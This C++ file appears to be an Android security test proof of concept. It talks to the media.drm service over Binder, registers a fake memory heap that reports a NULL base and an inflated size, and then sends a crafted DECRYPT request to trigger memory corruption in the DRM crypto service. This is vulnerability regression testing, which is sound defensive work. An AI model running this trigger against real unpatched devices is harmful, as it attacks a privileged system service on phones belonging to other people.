1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions vand
14 * limitations under the License.
15 */
16
17 #include <sys/types.h>
18 #include <sys/wait.h>
19 #include <binder/IMemory.h>
20 #include <binder/IServiceManager.h>
21 #include <binder/MemoryDealer.h>
22 #include <binder/Parcel.h>
23 #include <cutils/ashmem.h>
24 #include <utils/String8.h>
25
26 using namespace android;
27
28 #define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
29 #define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
30 #define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
31 #define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
32
33 class MyMemoryHeap : public virtual BnMemoryHeap {
34 public:
MyMemoryHeap(int fd)35 MyMemoryHeap(int fd) { mFd = fd; }
getHeapID() const36 int getHeapID() const { return mFd; }
getBase() const37 void *getBase() const { return NULL; }
getSize() const38 size_t getSize() const { return 4096 * 4096; }
getFlags() const39 uint32_t getFlags() const { return 0; }
getOffset() const40 off_t getOffset() const { return 0; }
41
42 private:
43 mutable int mFd;
44 };
45
46 sp<IBinder> crypto_binder;
47
make_crypto()48 void make_crypto() {
49
50 sp<IServiceManager> sm = defaultServiceManager();
51 sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
52
53 Parcel data, reply;
54
55 data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
56
57 drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
58
59 crypto_binder = reply.readStrongBinder();
60 }
61
create_plugin()62 void create_plugin() {
63
64 Parcel data, reply;
65
66 data.writeInterfaceToken(String16("android.hardware.ICrypto"));
67
68 uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
69 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
70 data.write(uuid, 16);
71
72 data.writeInt32(0);
73
74 crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
75 }
76
set_heap()77 int set_heap() {
78
79 Parcel data, reply;
80
81 data.writeInterfaceToken(String16("android.hardware.ICrypto"));
82 int fd = ashmem_create_region("ele7enxxh", 4096);
83 sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
84 data.writeStrongBinder(IInterface::asBinder(heap));
85
86 crypto_binder->transact(SET_HEAP, data, &reply, 0);
87
88 return reply.readInt32();
89 }
90
decrypt()91 void decrypt() {
92
93 Parcel data, reply;
94
95 data.writeInterfaceToken(String16("android.hardware.ICrypto"));
96 data.writeInt32(0);
97 data.writeInt32(0);
98 data.writeInt32(0);
99
100 uint8_t key[16];
101 memset(key, 0, 16);
102 data.write(key, 16);
103 uint8_t iv[16];
104 memset(iv, 0, 16);
105 data.write(iv, 16);
106
107 // totalsize
108 data.writeInt32(4096 * 4);
109
110 sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
111 sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
112 data.writeStrongBinder(IInterface::asBinder(mem));
113
114 // source.mHeapSeqNum
115 data.writeInt32(0);
116
117 // offset
118 data.writeInt32(0);
119
120 // numSubSamples
121 data.writeInt32(1);
122
123 // numBytesOfClearData
124 data.writeInt32(4096 * 4);
125
126 // numBytesOfEncryptedData
127 data.writeInt32(0);
128
129 // destination.mType
130 data.writeInt32(0);
131
132 // destination.mSharedMemory
133 data.writeStrongBinder(IInterface::asBinder(mem));
134
135 crypto_binder->transact(DECRYPT, data, &reply, 0);
136 }
137
main()138 int main() {
139
140 make_crypto();
141
142 create_plugin();
143
144 set_heap();
145
146 decrypt();
147
148 return 0;
149 }
150